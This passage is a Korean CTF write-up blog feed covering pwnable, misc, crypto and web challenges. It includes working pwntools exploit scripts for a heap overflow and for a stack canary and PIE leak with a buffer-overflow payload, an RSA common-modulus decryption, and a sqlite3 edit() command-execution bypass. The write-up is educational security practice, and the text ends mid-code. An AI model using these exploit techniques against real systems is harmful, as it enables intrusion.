&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;519&quot; data-origin-height=&quot;298&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cquury/btrQ0wVPtAM/xIWQhJzs85TRW8scdAU3ek/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cquury/btrQ0wVPtAM/xIWQhJzs85TRW8scdAU3ek/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cquury/btrQ0wVPtAM/xIWQhJzs85TRW8scdAU3ek/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fcquury%2FbtrQ0wVPtAM%2FxIWQhJzs85TRW8scdAU3ek%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;519&quot; height=&quot;298&quot; data-origin-width=&quot;519&quot; data-origin-height=&quot;298&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;basic한 heap menu challenge입니다. add chunk를 통해 0, 1 chunk를 size를 작게 생성해주고 edit을 통해 0번째 chunk 사이즈를 늘리는데 MAX SIZE만 check해주기에 heap overflow가 발생합니다. 이를 통해 heap pointer를 덮으면 원하는 gift 함수로 뛸 수 있습니다. gift 함수의 주소는 출력해주기에 이를 이용하면 풀이할 수 있습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1668323839253&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;from pwn import *

#p = remote(&quot;3.35.20.92&quot;,5333)
p = process(&quot;./chunkyChunk&quot;)
e = ELF(&quot;./chunkyChunk&quot;)
l = e.libc
p.recvuntil(b&quot; : &quot;)
gift = int(p.recvuntil(b&quot;\n&quot;)[:-1],16)

def add_note(note_num, note_size, note_data):
    p.sendlineafter(b&quot; : &quot;, b&quot;1&quot;)
    p.sendlineafter(b&quot; : &quot;, str(note_num).encode())
    p.sendlineafter(b&quot; : &quot;, str(note_size).encode())
    p.sendafter(b&quot; : &quot;, note_data)

def del_note(note_num):
    p.sendlineafter(b&quot; : &quot;, &quot;2&quot;.encode())
    p.sendlineafter(b&quot; : &quot;, str(note_num).encode())

def show_note():
    p.sendlineafter(b&quot; : &quot;, &quot;3&quot;.encode())

def edit_note(note_num, note_size, note_data):
    p.sendlineafter(b&quot; : &quot;, &quot;4&quot;.encode())
    p.sendlineafter(b&quot; : &quot;, str(note_num).encode())
    p.sendlineafter(b&quot; : &quot;, str(note_size).encode())
    p.sendafter(b&quot; : &quot;, note_data)

print(hex(gift))
#p.sendlineafter(b&quot; : &quot;, &quot;1&quot;.encode())
add_note(0, 8, (&quot;A&quot;*8).encode())
add_note(1, 8, (&quot;B&quot;*8).encode())
edit_note(0, 80, (p64(gift)*10))
pause()
show_note()

p.interactive()&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;3. findYourKey&lt;/b&gt;&lt;/h4&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;471&quot; data-origin-height=&quot;384&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/WKW55/btrQ0wO4DYh/Z9ImNHjKhbfDpruvTLlRzK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/WKW55/btrQ0wO4DYh/Z9ImNHjKhbfDpruvTLlRzK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/WKW55/btrQ0wO4DYh/Z9ImNHjKhbfDpruvTLlRzK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FWKW55%2FbtrQ0wO4DYh%2FZ9ImNHjKhbfDpruvTLlRzK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;471&quot; height=&quot;384&quot; data-origin-width=&quot;471&quot; data-origin-height=&quot;384&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;610&quot; data-origin-height=&quot;367&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/7zrz7/btrQ2SDAakb/R4evVQwEAfvtMuk8lPDF60/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/7zrz7/btrQ2SDAakb/R4evVQwEAfvtMuk8lPDF60/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/7zrz7/btrQ2SDAakb/R4evVQwEAfvtMuk8lPDF60/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F7zrz7%2FbtrQ2SDAakb%2FR4evVQwEAfvtMuk8lPDF60%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;610&quot; height=&quot;367&quot; data-origin-width=&quot;610&quot; data-origin-height=&quot;367&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;577&quot; data-origin-height=&quot;197&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/CvcNS/btrQ0wuMbl2/oGl50PZQArZTjG7rAdvFZ0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/CvcNS/btrQ0wuMbl2/oGl50PZQArZTjG7rAdvFZ0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/CvcNS/btrQ0wuMbl2/oGl50PZQArZTjG7rAdvFZ0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FCvcNS%2FbtrQ0wuMbl2%2FoGl50PZQArZTjG7rAdvFZ0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;577&quot; height=&quot;197&quot; data-origin-width=&quot;577&quot; data-origin-height=&quot;197&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;input를 입력받고 input의 길이만큼 스택에 있는 key와 비교를 하여 결과를 return해줍니다. 하지만 key길이가 key의 길이보다 더 많이 입력받을 수 있을 수 있기에 key 뒤에 있는 스택의 정보도 leak할 수 있습니다. 또한 e를 입력하면 bof 함수로 넘어가서 bof를 터트릴 수 있기에 leak한 canary와 스택 주소를 통하여 pie base를 구하여 gift함수로 뛰면 풀이할 수 있습니다.&lt;/p&gt;
&lt;pre id=&quot;code_1668324283895&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;from pwn import *
from Crypto.Util.number import bytes_to_long, long_to_bytes
import struct

#p = remote(&quot;3.34.135.116&quot;, 5333)
p = process(&quot;./findYourKey&quot;)
e = ELF(&quot;./findYourKey&quot;)
l = e.libc
# l = ELF(&quot;./libc.so.6&quot;)

#context.log_level = 'debug'
gift = 0x12A9
leak = 0

for i in range(1,0xff - 6):
	for j in range(0, 256):
		p.sendlineafter(b&quot;&amp;gt; &quot;, b&quot;y&quot;)
		p.sendlineafter(b&quot;&amp;gt; &quot;, str(i).encode())
		p.sendlineafter(b&quot;&amp;gt; &quot;, long_to_bytes((leak &amp;lt;&amp;lt; 8) + j))
		res = p.recvuntil(b&quot;\n&quot;)
		if b&quot;key is correct!&quot; == res[:-1]:
			print(&quot;success&quot;)
			leak = (leak &amp;lt;&amp;lt; 8) + j
			print(&quot;leak : &quot;, long_to_bytes(leak))
			break
addr = []
while True:
	addr.append(hex(u64((leak &amp;amp; 0xffffffffffffffff).to_bytes(8,byteorder='big'))))
	leak = leak &amp;gt;&amp;gt; 64
	if leak == 0:
		break

pie_base = (int(addr[10],16)) - 15720
canary = int(addr[21],16)

print(addr)
print(hex(pie_base))
print(hex(canary))

payload = bytearray(b'')
payload += b&quot;A&quot; * 24
payload += p64(canary)
payload += b'A' * 8
payload += p64(pie_base + 0x000000000000101a)
payload += p64(pie_base + gift)

p.recvuntil(b&quot;&amp;gt; &quot;)
p.sendline(b&quot;e&quot;)
pause()
p.sendline(payload)

p.interactive()&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;Misc&lt;/b&gt;&lt;/h2&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;1. commnad&lt;/b&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;코드를 보면 특정 ip와 socket 통신을 하는 것을 알 수 있는데 다 필요없고 방향키를 입력받고 출력된 방향키가 입력되었을 때 다음 command로 넘어가는 형식인데 틀렸을 때 초기화를 해주지 않아 방향키와 스페이스바 연타하고 이를 녹화하여서 플래그가 잠깐 출력되고 꺼질 때를 캡쳐하여 풀이했습니다. &lt;span style=&quot;color: #000000;&quot;&gt;(//ㅅ//)&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;2. 문제 이름 기억이 안남..(대충 eval로 사칙연산 결과 return해주면 됨.)&lt;/b&gt;&lt;/h4&gt;
&lt;pre id=&quot;code_1668325229210&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;from pwn import *

p = remote(&quot;13.124.246.88&quot;,8000)
for i in range(20):
    p.recvuntil(str(i)+&quot;\n&quot;)
    prob = p.recvuntil(&quot; =&quot;)[:-2]
    res = eval(prob)
    p.send(res)&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;Crypto&lt;/b&gt;&lt;/h2&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;1. emoji&lt;/b&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;emoji로 긴 암호문?을 줍니다. 저는 &quot;, ,, ?와 같은 특수기호가 있을 뿐만 아니라 emoji하나가 알파벳 하나라고 생각했습니다. 그래서 반복문을 통해 이모지를 알파벳으로 대칭해주었습니다. 결과값이 너무 치환 암호처럼 생겨서 풀어주는 &lt;a href=&quot;https://quipqiup.com/&quot;&gt;https://quipqiup.com/&lt;/a&gt;에 넣고 돌렸더니 플래그를 얻을 수 있었습니다.&lt;/p&gt;
&lt;pre id=&quot;code_1668325385043&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;import string

lists = '''                           ,              .              ;                .                        .                              .
       ,        ,      , &quot; ,    ,              ,                .        ,            .&quot;
                       ,          .
             ,          ,                    ,        ,                  .              .      ,                              ,      , &quot;                                         .&quot;
&quot;         ?&quot;      .
&quot;     ,&quot;          ; &quot;               ,              .&quot;
&quot; ,&quot;      , &quot;   '           .  '               ,                  .&quot;
               ,        ,                ,          ,      ,            .                        '   .          :  ,  .
&quot; '   ?&quot;
&quot;   ,        ,&quot;      ,      ; &quot;                               .&quot;
     ,        ,          ,    , &quot;     ,            .&quot;
           ,        ,                                ,                      .                    '   ,          ,                    :  ,  .
&quot; '   ?&quot;
       ,              ,        ;                    ,  , &quot;               ,                              .&quot;
           ,                , &quot;     ,            .&quot;
             ,        .
   ,        ,      ,          , &quot;                       ,                .&quot;
               .                          ,        , &quot; ,          !&quot;
&quot;             ,    .&quot;
&quot; ,          !&quot;
&quot;           ,    .&quot;
&quot; ,          !&quot;
&quot;           ,    .&quot;
&quot; ,          !&quot;
&quot;           ,    .&quot;
&quot; ,            !&quot;
&quot;               .&quot;
 ,      ,                  ,          .
       .                        .'''

tbl = []

def get_tbl():
    for i in lists:
        try:
            a = tbl.index(hex(ord(i)))
        except:
            #print(tbl)
            if ord(i) &amp;gt; 256:
                tbl.append(hex(ord(i)))

get_tbl()

#tbl = ['0x1f602', '0x1f60e', '0x1f622', '0x1f62e', '0x1f61d', '0x1f644', '0x1f43a', '0x1f611', '0x1f609', '0x1f606', '0x1f635', '0x1f60a', '0x1f630', '0x1f620', '0x1f60d', '0x1f610', '0x1f97a', '0x1f923', '0x1f631', '0x1f914', '0x1f603', '0x1f643', '0x1f92a', '0x1f612', '0x1f634']
#tbl = []
alp = string.ascii_lowercase

res = &quot;&quot;
for i in lists:
    for j in range(len(tbl)):
        tmp = ord(i)
        if tmp &amp;lt; 256:
            res += chr(tmp)
            break
        if hex(tmp) == tbl[j]:
            res += alp[j]
print(res)&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2240&quot; data-origin-height=&quot;601&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/boLc1c/btrQ0Rk90QF/Kt2TLGNoYHg4Sofk9xyU21/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/boLc1c/btrQ0Rk90QF/Kt2TLGNoYHg4Sofk9xyU21/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/boLc1c/btrQ0Rk90QF/Kt2TLGNoYHg4Sofk9xyU21/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FboLc1c%2FbtrQ0Rk90QF%2FKt2TLGNoYHg4Sofk9xyU21%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2240&quot; height=&quot;601&quot; data-origin-width=&quot;2240&quot; data-origin-height=&quot;601&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1887&quot; data-origin-height=&quot;213&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/nLnOj/btrQ2efLSR7/LgnBaXMO3KFsVhJ98y6Ldk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/nLnOj/btrQ2efLSR7/LgnBaXMO3KFsVhJ98y6Ldk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/nLnOj/btrQ2efLSR7/LgnBaXMO3KFsVhJ98y6Ldk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FnLnOj%2FbtrQ2efLSR7%2FLgnBaXMO3KFsVhJ98y6Ldk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1887&quot; height=&quot;213&quot; data-origin-width=&quot;1887&quot; data-origin-height=&quot;213&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;2.&amp;nbsp; RSA&lt;/b&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;n 하나를 e 2개로 암호화 했을 때 egcd를 통해서 복호화 할 수 있다는 것을 알 수 있었습니다. 이를 통해 코드를 짜면 풀이할 수 있습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1668325746693&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;import gmpy2
from Crypto.Util.number import long_to_bytes

data = {'n': 530608211275513140366213138576723793063425255614923916339818296370965195790170509377272816425755124935117505883803711912448089542645382900611950157918984019577954045101766666641238782097999510625875880969945471060158125437911539276388013871362986018325401113892681619320340704004127463091857351199317633994571579952934196595940153186110524883992930224361870545884119798418793773606942649578976020070310101589489301325141130049757844603712484465320142622014398855573242395860195081413402454165102037618128916290867959544566706382208694897560692739599385906736064223144970858620904311410004277627671783, 'e1': 65537, 'e2': 11731,
        'c1': 36438785448993034686319725528189192854463151662047410787227922472649376988517578574739948014360868712767703814105348128280340128939238535870532598929770331230858903476818025917271405175287372062625882551287048889017803584186380153095109131743562028934469362853792211973654740907312518795378145540926223924479122691199553850552127169415722835585231774507859734000109872494993889601024066569604368136614240776022505481719558228444943141026367964278184575717257240100749291352017125500119659786838130694989077975539301274525538419859900000660538238458822546354653698743617030591065087263349564991665849    , 'c2': 454045540371169334472351754484136780129066219703489904165202842522515664378538610447624560284169053268730975791349131234222808083488597486803727304405099404081868654631796931174509511691927858633690661209034072047272183265894764752839929020695260728240428345390829399265245232898345572532352424374555423507654005941229433225611956943133363918291490204626186412647847220114809916647068100876659371702917383788830054608420673772563553420797641488934352031754512664158636253136857155982303012426019741495093518469924228444208995681120899429608361648412150864338383128649019067200581109180307642009088751}
n = data['n']
e1 = data['e1']
e2 = data['e2']
message1 = data['c1']
message2 = data['c2']

# s &amp;amp; t
gcd, s, t = gmpy2.gcdext(e1, e2)
if s &amp;lt; 0:
    s = -s
    message1 = gmpy2.invert(message1, n)
if t &amp;lt; 0:
    t = -t
    message2 = gmpy2.invert(message2, n)
plain = gmpy2.powmod(message1, s, n) * gmpy2.powmod(message2, t, n) % n
print(plain)
print(long_to_bytes(plain).decode('utf-8'))&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;후기&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;리버싱과 포너블을 공부했다면 더 좋은 성적을 얻을 수 있었을 것이라고 생각합니다.... 생각보다 문제가 어렵지 않아서 재밌게 풀었던 것 같습니다. 또한, 예상치 못한 수상이라 만족스러운 수상이었던 것 같습니다. 내년에는 대학부로 가서 더 좋은 성적을 낼 수 있도록 더 열심히 해야겠습니다.&lt;/p&gt;</description>
      <author>ash3r &amp;amp; dmawhwhd</author>
      <guid isPermaLink="true">https://dmawhwhd.tistory.com/9</guid>
      <comments>https://dmawhwhd.tistory.com/9#entry9comment</comments>
      <pubDate>Sun, 13 Nov 2022 16:51:58 +0900</pubDate>
    </item>
    <item>
      <title>Wacon 2022 Final</title>
      <link>https://dmawhwhd.tistory.com/8</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Misc - query-master&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;awk&quot;&gt;&lt;code&gt;#!/usr/bin/python3
import random
import string
import subprocess

def randName():
    return ''.join([random.choice(string.hexdigits) for i in range(16)])

dbpath = f'/tmp/{randName()}.db'

query = input(&quot;Query &amp;gt;&amp;gt; &quot;)

ban = ['.', 'lo', ';']

for x in ban:
    if x in query:
        print(&quot;Filtered..&quot;)
        exit()

proc = subprocess.Popen([&quot;sqlite3&quot;, dbpath, query], stdout=subprocess.PIPE)
(out, err) = proc.communicate()

print(out.decode())&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;query를 입력받고 bash에서 실행을 시켜줍니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;예선에서 나왔던 sqqqli 문제의 revenge 문제라고 생각했고 python module을 사용하지 않기에 bash에서만 실행시킬 수 있는 무언가가 있다고 생각했습니다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1069&quot; data-origin-height=&quot;535&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/qwmed/btrLLiPiJtV/rhgXClUXozfFgio6LXyIcK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/qwmed/btrLLiPiJtV/rhgXClUXozfFgio6LXyIcK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/qwmed/btrLLiPiJtV/rhgXClUXozfFgio6LXyIcK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fqwmed%2FbtrLLiPiJtV%2FrhgXClUXozfFgio6LXyIcK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1069&quot; height=&quot;535&quot; data-origin-width=&quot;1069&quot; data-origin-height=&quot;535&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;edit()이라는 함수가 존재했습니다. 이 함수는 원래 sql data를 vi, gimp등의 editor로 열어주는 함수입니다. 저는 2번째 인자에서 rce가 가능하지 않을까? 라는 생각을 했고 test 해본 결과 가능했고 edit()이라는 함수로 풀이했습니다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;754&quot; data-origin-height=&quot;207&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/zNFUB/btrLLWkHrXl/RatC2cFvYkx4vNNODQZOO1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/zNFUB/btrLLWkHrXl/RatC2cFvYkx4vNNODQZOO1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/zNFUB/btrLLWkHrXl/RatC2cFvYkx4vNNODQZOO1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FzNFUB%2FbtrLLWkHrXl%2FRatC2cFvYkx4vNNODQZOO1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;754&quot; height=&quot;207&quot; data-origin-width=&quot;754&quot; data-origin-height=&quot;207&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Misc - ide&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;chall.rtf를 zip로 바꾸고 압축을 풀면 LibreOffice에 대한 정보가 있습니다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;599&quot; data-origin-height=&quot;196&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/Pw5o6/btrLStgZJho/mgeRQFkRRwaOWgisbbnMb1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/Pw5o6/btrLStgZJho/mgeRQFkRRwaOWgisbbnMb1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/Pw5o6/btrLStgZJho/mgeRQFkRRwaOWgisbbnMb1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FPw5o6%2FbtrLStgZJho%2FmgeRQFkRRwaOWgisbbnMb1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;599&quot; height=&quot;196&quot; data-origin-width=&quot;599&quot; data-origin-height=&quot;196&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;LibreOffice writer로 열고 저장을 하면 html파일로 저장이 되는데 파일을 볼 수 있고&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;591&quot; data-origin-height=&quot;169&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/SIPnD/btrLPcGS6KO/cvJ0GiEfchQfIEfU1U1wTk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/SIPnD/btrLPcGS6KO/cvJ0GiEfchQfIEfU1U1wTk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/SIPnD/btrLPcGS6KO/cvJ0GiEfchQfIEfU1U1wTk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FSIPnD%2FbtrLPcGS6KO%2FcvJ0GiEfchQfIEfU1U1wTk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;591&quot; height=&quot;169&quot; data-origin-width=&quot;591&quot; data-origin-height=&quot;169&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;파일 안에 있는 링크에 인자를 적힌대로 주면 플래그를 얻을 수 있습니다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;597&quot; data-origin-height=&quot;204&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/75lxy/btrLQnVGAiw/AYLO5tTOM4ZhGNQeWvKcPk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/75lxy/btrLQnVGAiw/AYLO5tTOM4ZhGNQeWvKcPk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/75lxy/btrLQnVGAiw/AYLO5tTOM4ZhGNQeWvKcPk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F75lxy%2FbtrLQnVGAiw%2FAYLO5tTOM4ZhGNQeWvKcPk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;597&quot; height=&quot;204&quot; data-origin-width=&quot;597&quot; data-origin-height=&quot;204&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Web - Holes&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;lua&quot;&gt;&lt;code&gt;#app.py

#!/usr/bin/env python3
import os
import hashlib
from flask import Flask,request,send_from_directory

def getUserFolderDir(ip):
    r = os.path.dirname(os.path.abspath(__file__))
    r += '/files/'+hashlib.md5(ip.encode()).hexdigest()
    return r

app = Flask(__name__)

@app.route('/', defaults={'path': ''})
@app.route('/&amp;lt;path:path&amp;gt;')
def index(path):
    if(path == ''):
        path = 'index.html'
    userDir = getUserFolderDir(request.remote_addr)+'/'+path
    print(userDir)
    print(os.path.exists(userDir))
    print(os.getenv('SOCAT_PEERADDR','127.0.0.1'))
    if(not os.path.exists(userDir)):
        return 'Folder not found :? Create one with the management console',404,{'Content-Type': 'text/plain;charset=utf-8'}

    try:
        with open(userDir) as f:
